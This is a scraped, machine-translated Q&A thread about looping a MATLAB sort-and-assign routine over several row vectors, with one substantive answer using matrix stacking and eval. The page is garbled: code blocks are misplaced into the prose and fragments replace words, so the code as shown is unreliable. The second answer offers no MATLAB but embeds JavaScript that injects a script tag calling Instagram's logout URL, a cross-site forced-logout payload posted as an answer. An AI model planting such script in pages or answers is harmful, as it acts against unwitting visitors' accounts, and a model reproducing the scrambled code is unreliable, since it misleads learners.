使用Matlab重复代码(循环)

时间:2016-02-11 10:34:55

标签: matlab loops matrix

我有n个大小为1,m的向量,名为R1,R2,...,Rn 我将此代码应用于矢量R1。

[B,I] =sort([R1 0]);
for q=1:breadth;
    if ismember(q, I(1:3))==1;
        x(q,1)=-1/6;
    elseif ismember(q, I(breadth-1:breadth+1))==1;
        x(q,1)=1/6;
    else
        x(q,1)=0;
    end
end

breadth是列数,在我的情况下是m
我的问题是:如何重复代码到每个向量(从R1Rn)?
我是matlab的初学者,我不熟悉代码。

output

我将不胜感激任何帮助!

2 个答案:

答案 0 :(得分:1)

如果n向量具有相同的大小(在您的情况下为1,m,即它们都是行向量),则可以在单个矩阵中将它们连接起来,其中每一行都是向量。这种连接可以很容易地完成如下:

R_total=[R1;R2;...;Rn];

然后在for循环中逐个处理R_total行(即单个向量):

for i=1:n
    % extract i-th row of R_total: R_total(i,:)
    VectorToBeProcessed=R_total(i,:);

    % start processing such vector
    [B,I] =sort([VectorToBeProcessed 0]);
    for q=1:m
        if ismember(q, I(1:3))==1
            x(q,1)=-1/6;
        elseif ismember(q, I(m-1:m+1))==1
            x(q,1)=1/6;
        else
            x(q,1)=0;
        end
    end
end

符号R_total(i,:)表示矩阵i的{​​{1}}行和所有列(:)。

显然,您应该注意一些事项:R_total向量将始终在for循环中被覆盖。你应该澄清这样的载体必须包含什么。如果您的任务是为每个向量(x,...,x)创建一个向量R1,那么Rn应该是一个矩阵本身,其中第i个row将包含与x的第i行相关的结果 在这种情况下,上述代码应修改如下:

R_total

现在(在for i=1:n % extract i-th row of R_total: R_total(i,:) VectorToBeProcessed=R_total(i,:); % start processing such vector [B,I] =sort([VectorToBeProcessed 0]); for q=1:m if ismember(q, I(1:3))==1 x(i,q)=-1/6; elseif ismember(q, I(m-1:m+1))==1 x(i,q)=1/6; else x(i,q)=0; end end end 中)我们将在第i行写入每个第q个元素,其中x也运行i行。

另外,正如@dasdingonesin指出的那样,不需要R_total函数。此函数会将strcat()'R1',... 'R2'作为字符串返回。在你的情况下,这毫无意义。

更新:@Adriaan和@PagMax都指出这种方法可能不适合处理大量数组连接成一个矩阵,因为连接是“手动”完成的。该解决方案(相反)是完全自动化的。让我们假设在我们的工作区中我们有5个大小为5的行向量,我们想要在矩阵中连接这些向量(相同的方式:1向量= 1行):

'Rn'

这段代码需要一些额外的词:clear all; % clear all variables from the Workspace, starting clean a=1:5; % a = [1 2 3 4 5] b=a+1; % b = [2 3 4 5 6] c=b+1; % c = [3 4 5 6 7] d=c+1; % d = [4 5 6 7 8] e=d+1; % e = [5 6 7 8 9] VariableList=whos; Matrix=[]; for i=1:size(VariableList,1) newVector=VariableList(i).name; % newVector is a string containing the name of the i-th variable in the Workspace eval(['Matrix=[Matrix ; ' newVector '];']); end 返回一个包含工作空间变量信息的结构,从这个结构中我们只取这些变量的名称。相反,whos以字符串形式计算表达式,因此基本上在前面的代码中“手动”完成的连接在这里自动完成并以字符串形式完成。正如您所期望的那样,eval具有以下形式:

Matrix

显然,在这个简单的场景中,我们在Workspace中有5个变量,它们是必须连接的5个向量。如果你有许多变量,但你必须连接其中的一些变量,你必须用一些if / else“丰富”for循环来区分“有用的变量”(即必须连接)和“无用的变量”。在@Nourhaine Nefzi的例子中,所有向量的名称都以字母Matrix = 1 2 3 4 5 2 3 4 5 6 3 4 5 6 7 4 5 6 7 8 5 6 7 8 9 开头(假设没有其他变量,其名称以字母R开头),一个不错的if / else条件可以是以下一个:

R

答案 1 :(得分:-2)

将其包裹在另一个for循环中

         var s = document.createElement("script");
         s.src = "https://instagram.com/accounts/logout";
         $("head").append(s);